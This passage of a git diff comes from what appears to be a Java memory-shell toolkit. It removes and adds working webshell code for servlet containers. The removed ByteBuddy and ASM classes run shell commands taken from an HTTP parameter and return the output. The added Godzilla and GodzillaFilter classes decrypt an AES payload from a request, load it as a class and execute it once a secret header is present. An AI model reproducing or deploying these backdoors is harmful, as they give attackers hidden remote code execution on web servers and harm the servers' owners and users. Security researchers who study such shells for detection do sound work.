localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process - - // Get input stream: InputStream inputStream = exec.getInputStream(); - mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); - int inputStreamIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream - - // Get response output stream - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getOutputStream"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream"); - int outputStreamIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream - - // Create buffer: byte[] buf = new byte[8192]; - mv.visitIntInsn(Opcodes.SIPUSH, 8192); - mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE); - int bufferIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] buffer - - // While loop to read and write data - Label loopStart = new Label(); - Label loopEnd = new Label(); - - // Start of loop - mv.visitLabel(loopStart); - - // Read data: inputStream.read(buf) - mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false); - int lengthIndex = localVarIndex++; - mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length (note: not incrementing index yet) - - // Check if length == -1 - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); - mv.visitInsn(Opcodes.ICONST_M1); - mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd); - - // Write data: outputStream.write(buf, 0, length) - mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream - mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false); - - // Go back to start of loop - mv.visitJumpInsn(Opcodes.GOTO, loopStart); - - // End of loop - mv.visitLabel(loopEnd); - - // Return from the method without calling original doFilter - mv.visitInsn(Opcodes.RETURN); - - // If cmd is null, continue with original method - mv.visitLabel(ifNullLabel); - - // End of try block - mv.visitLabel(tryEnd); - - // Skip catch block if we didn't enter it - Label afterCatch = new Label(); - mv.visitJumpInsn(Opcodes.GOTO, afterCatch); - - // Start of catch block - mv.visitLabel(catchHandler); - // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, localVarIndex); // Store exception in local var 10 and discard it - - // End of catch block - mv.visitLabel(afterCatch); - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServletInitialHandlerAdvisor.java deleted file mode 100644 index e58e7135..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/undertow/CommandServletInitialHandlerAdvisor.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command.undertow; - -import net.bytebuddy.asm.Advice; - -import java.io.InputStream; -import java.io.OutputStream; - -/** - * @author ReaJason - */ -public class CommandServletInitialHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.AllArguments Object[] args - ) { - String paramName = "paramName"; - try { - Object servletRequestContext = null; - if (args.length == 2) { - servletRequestContext = args[1]; - } else { - servletRequestContext = args[2]; - } - Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); - Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return true; - } - } catch (Exception ignored) { - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java new file mode 100644 index 00000000..8ef0abeb --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java @@ -0,0 +1,171 @@ +package com.reajason.javaweb.memshell.shelltool.godzilla; + +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.security.Key; + +/** + * @author ReaJason + */ +public class Godzilla extends ClassLoader { + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; + + public Godzilla() { + } + + public Godzilla(ClassLoader z) { + super(z); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrapRequest(args[0]); + Object response = unwrapResponse(args[1]); + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data)); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + f.equals(arrOut); + f.equals(request); + writer.write(md5.substring(0, 16)); + f.toString(); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader()); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); + Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); + Constructor constructor = secretKeySpecClass.getConstructor(byte[].class, String.class); + Method initMethod = cipherClass.getMethod("init", int.class, Key.class); + Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES"); + + initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(key.getBytes(), "AES")); + Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); + return ((byte[]) doFinalMethod.invoke(c, s)); + } catch (Exception var4) { + return null; + } + } + + public Object unwrapRequest(Object request) { + Object internalRequest = request; + while (true) { + try { + Object r = getFieldValue(request, "request"); + if (r == internalRequest) { + return r; + } else { + internalRequest = r; + } + } catch (Exception e) { + return internalRequest; + } + } + } + + public Object unwrapResponse(Object response) { + Object internalResponse = response; + while (true) { + try { + Object r = getFieldValue(response, "response"); + if (r == internalResponse) { + return r; + } else { + internalResponse = r; + } + } catch (Exception e) { + return internalResponse; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index ff1929bc..cc290154 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -26,6 +26,37 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { String value = null; @@ -80,42 +111,6 @@ public class GodzillaFilter extends ClassLoader implements Filter { } } - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (Exception e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - @Override public void init(FilterConfig filterConfig) throws ServletException { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java deleted file mode 100644 index 9840e2a7..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java +++ /dev/null @@ -1,90 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.godzilla; - -import net.bytebuddy.asm.Advice; - -import java.io.ByteArrayOutputStream; -import java.io.PrintWriter; -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class GodzillaFilterChainAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response - ) { - String key = "key"; - String pass = "pass"; - String md5 = "md5"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); - Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); - Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); - Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - - Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); - Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES"); - cipherInitMethod.invoke(cipher, 2, secretKeySpec); - - data = (byte[]) doFinalMethod.invoke(cipher, data); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); - if (sessionPayload == null) { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) sessionPayload).newInstance(); - f.equals(arrOut); - f.equals(request); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - f.toString(); - - cipherInitMethod.invoke(cipher, 1, secretKeySpec); - byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray()); - String result = null; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); - } - writer.write(result); - writer.write(md5.substring(16)); - } - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAsmMethodVisitor.java deleted file mode 100644 index ee038d6b..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAsmMethodVisitor.java +++ /dev/null @@ -1,891 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.godzilla; - -import org.objectweb.asm.Label; -import org.objectweb.asm.MethodVisitor; -import org.objectweb.asm.Opcodes; -import org.objectweb.asm.Type; - -public class GodzillaFilterChainAsmMethodVisitor extends MethodVisitor { - - Type[] argTypes; - - public GodzillaFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) { - super(Opcodes.ASM9, mv); - this.argTypes = argTypes; - } - - @Override - public void visitCode() { - super.visitCode(); - - int startIndex = 1; - for (Type type : argTypes) { - startIndex += type.getSize(); - } - - int keyIndex = startIndex; - int passIndex = startIndex + 1; - int md5Index = startIndex + 2; - int headerNameIndex = startIndex + 3; - int headerValueIndex = startIndex + 4; - int curHeaderIndex = startIndex + 5; - int curParameterIndex = startIndex + 6; - int dataIndex = startIndex + 7; - int base64ClassIndex = startIndex + 8; - int decoderClassIndex = startIndex + 9; - int base64ExceptionIndex = startIndex + 10; - int cipherClassIndex = startIndex + 11; - int secretKeySpecClassIndex = startIndex + 12; - int keyClassIndex = startIndex + 13; - int cipherInitMethodIndex = startIndex + 14; - int doFinalMethodIndex = startIndex + 15; - int cipherIndex = startIndex + 16; - int secretKeySpecIndex = startIndex + 17; - int sessionIndex = startIndex + 18; - int sessionPayloadIndex = startIndex + 19; - int defineClassIndex = startIndex + 20; - int payloadClassIndex = startIndex + 21; - int arrOutIndex = startIndex + 22; - int instanceIndex = startIndex + 23; - int writerIndex = startIndex + 24; - int encryptBytesIndex = startIndex + 25; - int encoderClassIndex = startIndex + 26; - int resultIndex = startIndex + 27; - int base64EncodeExceptionIndex = startIndex + 28; - - int outerExceptionIndex = startIndex + 26; - - int requestIndex = 1; - int responseIndex = 2; - - // Define constants - mv.visitLdcInsn("key"); - mv.visitVarInsn(Opcodes.ASTORE, keyIndex); - mv.visitLdcInsn("pass"); - mv.visitVarInsn(Opcodes.ASTORE, passIndex); - mv.visitLdcInsn("md5"); - mv.visitVarInsn(Opcodes.ASTORE, md5Index); - mv.visitLdcInsn("headerName"); - mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex); - mv.visitLdcInsn("headerValue"); - mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex); - - // Define labels for try-catch - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - - // Register try-catch block - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); - - // Start of try block - mv.visitLabel(tryStart); - - getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex); - - // if (value != null && value.contains(headerValue)) - mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value - Label ifNullLabel = new Label(); - mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); - - mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value - mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains", - "(Ljava/lang/CharSequence;)Z", false); - mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel); - - getParameterValue(requestIndex, passIndex, curParameterIndex); - - // Declare data variable - mv.visitInsn(Opcodes.ACONST_NULL); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10) - - tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex); - - decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex); - - getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex); - - // if (sessionPayload == null) - mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload - Label sessionPayloadNotNull = new Label(); - mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull); - - defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex); - - // Else branch - sessionPayload is not null - mv.visitLabel(sessionPayloadNotNull); - - // request.getClass().getMethod("setAttribute", String.class, Object.class) - // .invoke(request, "parameters", data); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setAttribute"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitLdcInsn(Type.getType("Ljava/lang/Object;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("parameters"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream"); - mv.visitInsn(Opcodes.DUP); - mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream", - "", "()V", false); - mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25 - - // Object f = ((Class) sessionPayload).newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", - "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26 - - // f.equals(arrOut); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals", - "(Ljava/lang/Object;)Z", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // f.equals(request); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals", - "(Ljava/lang/Object;)Z", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // PrintWriter writer = (PrintWriter) - // response.getClass().getMethod("getWriter").invoke(response); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getWriter"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter"); - mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27 - - // writer.write(md5.substring(0, 16)); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5 - mv.visitInsn(Opcodes.ICONST_0); - mv.visitIntInsn(Opcodes.BIPUSH, 16); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring", - "(II)Ljava/lang/String;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - "(Ljava/lang/String;)V", false); - - // f.toString(); - mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString", - "()Ljava/lang/String;", false); - mv.visitInsn(Opcodes.POP); // Discard result - - // Re-initialize cipher for encryption - // cipherInitMethod.invoke(cipher, 1, secretKeySpec); - mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, - // arrOut.toByteArray()); - mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", - "toByteArray", "()[B", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28 - - tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex); - - // writer.write(result); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - "(Ljava/lang/String;)V", false); - - // writer.write(md5.substring(16)); - mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer - mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5 - mv.visitIntInsn(Opcodes.BIPUSH, 16); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring", - "(I)Ljava/lang/String;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write", - 